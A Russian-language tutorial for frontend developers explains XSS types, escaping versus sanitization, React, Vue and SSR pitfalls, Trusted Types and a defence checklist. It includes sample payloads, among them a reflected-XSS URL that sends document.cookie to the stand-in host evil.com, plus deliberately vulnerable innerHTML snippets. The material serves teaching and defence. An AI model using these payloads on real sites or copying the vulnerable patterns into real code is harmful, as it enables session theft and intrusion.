Навигация

XSS: анатомия атаки и методы защиты

XSS (Cross-Site Scripting) — класс атак, при которых злоумышленник внедряет исполняемый код в страницу жертвы. Уязвимость существует почти 30 лет и по-прежнему в OWASP Top 10: каждый ввод, каждое innerHTML, каждый rich-text редактор — потенциальный вектор. Статья разбирает механику типов XSS, чем экранирование отличается от санитизации, где заканчивается защита React и Vue, и как Trusted Types закрывают последние DOM-based уязвимости.

Содержание

  1. Что такое XSS на самом деле
  2. Три классических типа XSS
  3. Менее очевидные варианты: DOM-based, mutation и mXSS
  4. Почему XSS не умирает: эволюция векторов
  5. Экранирование vs санитизация vs валидация
  6. Как React защищает от XSS и где его защита заканчивается
  7. Как Vue защищает от XSS и где его защита заканчивается
  8. SSR в Next.js и Nuxt: специфические риски
  9. Trusted Types: последний рубеж
  10. Практический чек-лист защиты от XSS
  11. Термины, которые должен знать фронтендер
  12. Ключевые тезисы для интервью
  13. Заключение
  14. Полезные ссылки

Что такое XSS на самом деле

XSS (Cross-Site Scripting) — это атака, при которой злоумышленник внедряет исполняемый код в страницу, которую просматривает жертва. Несмотря на название, «cross-site» сегодня — скорее исторический артефакт: атака может работать и внутри одного сайта, если в нём есть уязвимость.

Проще всего думать о XSS так: браузер — это исполнительный механизм, который не различает «хороший» и «плохой» JavaScript. Он выполняет всё, что видит в HTML, если только что-то явно не запрещает это сделать. XSS использует эту особенность против пользователя.

Аналогия: представьте кофейню, где бариста слепо выполняет любую запись, оставленную на стикере. Обычный клиент пишет «латте без сахара». Злоумышленник оставляет стикер: «дать латте и передать ключ от кассы человеку в красной куртке». Если бариста не проверяет, чья это запись и можно ли её выполнять, кофейня ограблена.

В вебе «стикер» — это пользовательский ввод, попавший в HTML, а «бариста» — браузер.


Три классических типа XSS

Reflected XSS (отражённый)

Вредоносный код приходит в HTTP-запросе и тут же возвращается сервером в ответе. Классический пример — поисковая строка.

https://example.com/search?q=<script>fetch('https://evil.com/?c='+document.cookie)</script>

Если сервер вставляет q в HTML без экранирования, браузер выполнит скрипт. Злоумышленник обычно заманивает жертву на такой URL через фишинг, email, QR-код или сообщение в мессенджере.

Почему работает: браузер доверяет ответу сервера. Если сервер отдаёт <script>, браузер считает, что так и было задумано.

Stored XSS (хранимый)

Вредоносный код сохраняется на сервере — в базе данных, файле, кэше, комментарии, профиле пользователя. Затем он показывается всем, кто открывает заражённую страницу.

Это самый опасный тип, потому что:

  • один внедрённый скрипт поражает тысячи пользователей;
  • не требуется социальная инженерия для каждой жертвы;
  • скрипт может долго оставаться незамеченным.

Исторический пример: 2005-й год, MySpace. Пользователь Samy использовал stored XSS, чтобы добавить в профили других пользователей строку «but most of all, samy is my hero». За 20 часов его профиль просмотрели более миллиона раз. Это была не кража данных, но демонстрация масштаба.

DOM-based XSS

Сервер здесь может быть ни при чём. Вредоносный код выполняется на клиенте, когда JavaScript берёт данные из URL, localStorage, postMessage или другого источника и вставляет их в DOM.

// ❌ Уязвимый код
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = `Hello, ${name}`;

// Атака: ?name=<img src=x onerror=alert(document.cookie)>

Почему опасно: такой XSS не видно в ответе сервера. Сканеры, проверяющие только HTTP-ответ, его пропустят. Он живёт полностью в клиентском коде.


Менее очевидные варианты: DOM-based, mutation и mXSS

Mutation XSS (mXSS)

Браузер может изменить HTML после того, как его обработает санитайзер. Злоумышленник использует различия в парсинге между санитайзером и браузером.

Пример (упрощённый):

<!-- Санитайзер видит это как безопасный текст -->
&lt;img src=x onerror=alert(1)&gt;

<!-- Но если браузер интерпретирует innerHTML определённым образом,
     последовательность может превратиться в работающий тег -->

mXSS — напоминание о том, что писать собственный санитайзер почти всегда плохая идея. Доверяйте проверенным библиотекам вроде DOMPurify, которые обновляются под новые векторы.

Self-XSS

Злоумышленник убеждает пользователя вставить вредоносный код в консоль разработчика. Например: «Скопируй этот код, чтобы получить бесплатную подписку». Технически это не уязвимость приложения, но реальная угроза, особенно для социальных сетей и игр.

Blind XSS

Вредоносный код сохраняется в админ-панели или системе логирования, куда жертва-администратор заходит позже. Пример: обратная связь, которая отображается только в панели поддержки. Злоумышленник не видит результат сразу — отсюда «blind».


Почему XSS не умирает: эволюция векторов

XSS существует почти 30 лет, но остаётся в OWASP Top 10. Почему?

  1. Каждый ввод — потенциальная дыра. Формы, URL-параметры, заголовки, cookies, postMessage, WebSocket, загружаемые файлы, QR-коды — всё это может стать вектором.
  2. Современные приложения сложные. Рич-текст, markdown, виджеты, third-party скрипты, аналитика, A/B-тесты — каждая интеграция увеличивает поверхность атаки.
  3. Защита фреймворков не абсолютна. React и Vue экранируют текст, но не могут контролировать dangerouslySetInnerHTML, v-html, refs, сторонние библиотеки.
  4. XSS часто оказывается побочным эффектом. Разработчик добавляет WYSIWYG-редактор, забывает про санитизацию — и уязвимость готова.

Экранирование vs санитизация vs валидация

Эти три термина часто путают, но они решают разные задачи.

Экранирование (escaping)

Превращение спецсимволов в безопасные HTML-сущности.

<  →  &lt;
>  →  &gt;
"  →  &quot;
'  →  &#x27;
&  →  &amp;

Экранирование говорит браузеру: «это текст, не интерпретируй его как разметку». React и Vue делают это автоматически для текстовых вставок.

Санитизация (sanitization)

Удаление или нейтрализация опасных частей HTML, когда вам нужно позволить некоторую разметку. Например, в редакторе статьи пользователь может использовать <b>, <i>, <a>, но не <script>.

Санитизация работает по принципу белого списка: разрешено только то, что явно указано как безопасное.

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(dirtyHtml, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
  ALLOWED_ATTR: ['href'],
});

Валидация (validation)

Проверка, что данные соответствуют ожидаемому формату. Например, ID пользователя должен быть UUID, email — email, возраст — число.

Валидация не заменяет экранирование и санитизацию. Она лишь сужает множество возможных входных данных.

Простое правило

  • Экранируй текст, который должен отображаться как текст.
  • Санитизируй HTML, который должен рендериться как HTML.
  • Валидируй любые данные, поступающие с клиента на сервер.

Как React защищает от XSS и где его защита заканчивается

React был спроектирован с учётом XSS. JSX автоматически экранирует значения, вставленные в фигурные скобки.

function Comment({ text }) {
  // text = "<script>alert(1)</script>"
  return <div>{text}</div>;
  // Результат: <div>&lt;script&gt;alert(1)&lt;/script&gt;</div>
}

React использует textContent вместо innerHTML, поэтому браузер не интерпретирует теги.

Где защита React не работает

1. dangerouslySetInnerHTML

// ❌ Опасно без санитизации
<div dangerouslySetInnerHTML={{ __html: userHtml }} />

Название не случайно — это преднамеренный обход защиты. Используйте только с санитайзером и доверенным контентом.

2. URL-атрибуты

React экранирует значения атрибутов, но не проверяет протоколы.

// Пользователь ввёл: javascript:alert(1)
<a href={userUrl}>link</a>
// При клике выполнится JavaScript

Защита:

function SafeLink({ href, children }) {
  const isSafe = /^https?:\/\//.test(href) || href.startsWith('/');
  return isSafe ? <a href={href}>{children}</a> : <span>{children}</span>;
}

3. Прямой доступ к DOM через refs

useEffect(() => {
  ref.current.innerHTML = userInput; // ❌ XSS
}, [userInput]);

4. Сторонние библиотеки

Markdown-парсеры, rich-text редакторы, библиотеки для графиков могут вставлять HTML. Всегда проверяйте, санитизируют ли они вывод.

5. Server Components и передача данных клиенту

В Next.js Server Component может получить из базы больше данных, чем нужно клиенту. Если эти данные передаются в Client Component, они попадают в JS-бандл и становятся видны. Это не XSS, но связанный риск: меньше данных — меньше поверхность атаки.


Как Vue защищает от XSS и где его защита заканчивается

Vue использует текстовые интерполяции {{ }}, которые автоматически экранируют HTML.

<template>
  <div>{{ userComment }}</div>
</template>

Если userComment содержит <script>, Vue отрендерит его как текст.

Защита Vue заканчивается там, где разработчик обходит её вручную: v-html, динамические URL в :href/:src, innerHTML в хуках жизненного цикла, render-функции и JSX.

Подробные разборы: Безопасность React, Безопасность Vue.


SSR в Next.js и Nuxt: специфические риски

Server-Side Rendering меняет картину XSS: вредоносный код может попасть в HTML, который сервер отправляет клиенту, ещё до гидратации.

  • В Next.js App Router Server Components рендерятся на сервере, и JSX-экранирование работает и там. Но dangerouslySetInnerHTML в Server Component несёт такой же риск, как на клиенте, а Pages Router с getServerSideProps сериализует данные в HTML — риск stored XSS.
  • В Nuxt v-html работает и в SSR-контексте, поэтому опасен вдвойне: вредоносный код попадает в исходный HTML, который индексируется и выполняется мгновенно.

Подробные разборы: Безопасность Next.js, Безопасность Nuxt.


Trusted Types: последний рубеж

Trusted Types — это браузерный API, который требует, чтобы опасные DOM-операции получали специальные «доверенные» объекты вместо строк.

// Без Trusted Types: строка напрямую
element.innerHTML = userInput;

// С Trusted Types: нужен специальный объект
const policy = trustedTypes.createPolicy('default', {
  createHTML: (input) => DOMPurify.sanitize(input),
});

element.innerHTML = policy.createHTML(userInput);

Если включить Trusted Types через CSP и попытаться вставить строку в innerHTML, браузер выбросит ошибку TypeError. Это защищает от многих DOM-based XSS, потому что разработчик вынужден явно санитизировать данные.

Поддержка: Chrome, Edge, Opera. Firefox и Safari пока не поддерживают. Trusted Types часто используют внутри Google, и идея постепенно распространяется.


Практический чек-лист защиты от XSS

В коде

  • Всегда предпочитайте текстовые вставки ({text} в React, {{ text }} в Vue) вместо HTML.
  • Используйте dangerouslySetInnerHTML/v-html только с проверенным санитайзером (DOMPurify).
  • Валидируйте и нормализуйте URL в href/src.
  • Избегайте прямого innerHTML через refs.
  • Проверяйте, санитизируют ли сторонние библиотеки HTML (markdown, rich-text, графики).
  • Используйте textContent вместо innerHTML, когда нужен только текст.

В архитектуре

  • Настройте CSP с script-src 'self' и nonce/hash для inline-скриптов.
  • Включите Trusted Types там, где это возможно.
  • Храните сессионные токены в HttpOnly cookies, а не в localStorage.
  • Разделяйте данные: передавайте клиенту только необходимые поля.
  • Проверяйте вывод сканеров (Snyk, OWASP ZAP, Burp Suite) и исправляйте находки.

В процессах

  • Регулярно обновляйте зависимости.
  • Добавьте security-линтеры (eslint-plugin-security, eslint-plugin-no-unsanitized).
  • Проводите code review с фокусом на места, где пользовательский ввод попадает в DOM.

Термины, которые должен знать фронтендер

ТерминЗначение
XSSВнедрение исполняемого кода в страницу
Reflected XSSКод приходит в запросе и сразу возвращается сервером
Stored XSSКод сохраняется на сервере и показывается многим пользователям
DOM-based XSSКод выполняется только на клиенте, без участия сервера
mXSSАтака, использующая различия в парсинге HTML между санитайзером и браузером
Self-XSSПользователь сам вставляет вредоносный код в консоль
EscapingЗамена спецсимволов на HTML-сущности
SanitizationУдаление опасных частей HTML по белому списку
ValidationПроверка формата и типа данных
CSPContent Security Policy — политика загрузки ресурсов
Trusted TypesБраузерный API для контроля над опасными DOM-операциями
HttpOnly cookieCookie, недоступный из JavaScript
Sink«Точка приёма» опасных данных: innerHTML, eval, document.write
SourceИсточник недоверенных данных: URL, форма, localStorage, postMessage

Ключевые тезисы для интервью

  • XSS — класс атак: reflected (в HTTP-запросе), stored (сохраняется на сервере, поражает всех), DOM-based (полностью на клиенте); mutation XSS использует различия в парсинге HTML.
  • Экранирование, санитизация и валидация решают разные задачи: экранируй текст, санитизируй HTML, валидируй формат; санитайзер писать самому нельзя — используйте DOMPurify.
  • React и Vue автоматически экранируют текстовые вставки, но не защищают от dangerouslySetInnerHTML/v-html, javascript: URL и прямого доступа к DOM через refs.
  • SSR (Next.js, Nuxt) увеличивает риск: stored XSS попадает в исходный HTML ещё до гидратации; CSP — вторая линия обороны, script-src 'self' с nonce блокирует выполнение вредоносного кода.
  • Trusted Types требуют «доверенные» объекты вместо строк для innerHTML, полностью закрывая DOM-based XSS; токены сессии храните в HttpOnly cookies, а не в localStorage — XSS не сможет их прочитать.
  • Sources (URL, form, postMessage) и sinks (innerHTML, eval, document.write) — ключевые точки для code review и аудита.

Заключение

XSS — не одна уязвимость, а целый класс атак с разными точками входа и разной механикой. Современные фреймворки закрывают самые очевидные векторы через автоматическое экранирование, но не могут защитить от неосмотрительного использования v-html, dangerouslySetInnerHTML, innerHTML через refs или сторонних библиотек с внутренними уязвимостями. Лучшая защита многослойна: экранирование на уровне фреймворка, санитизация через DOMPurify при необходимости, CSP как вторая линия обороны, Trusted Types для DOM-операций и регулярный аудит кода с фокусом на sources и sinks.

Полезные ссылки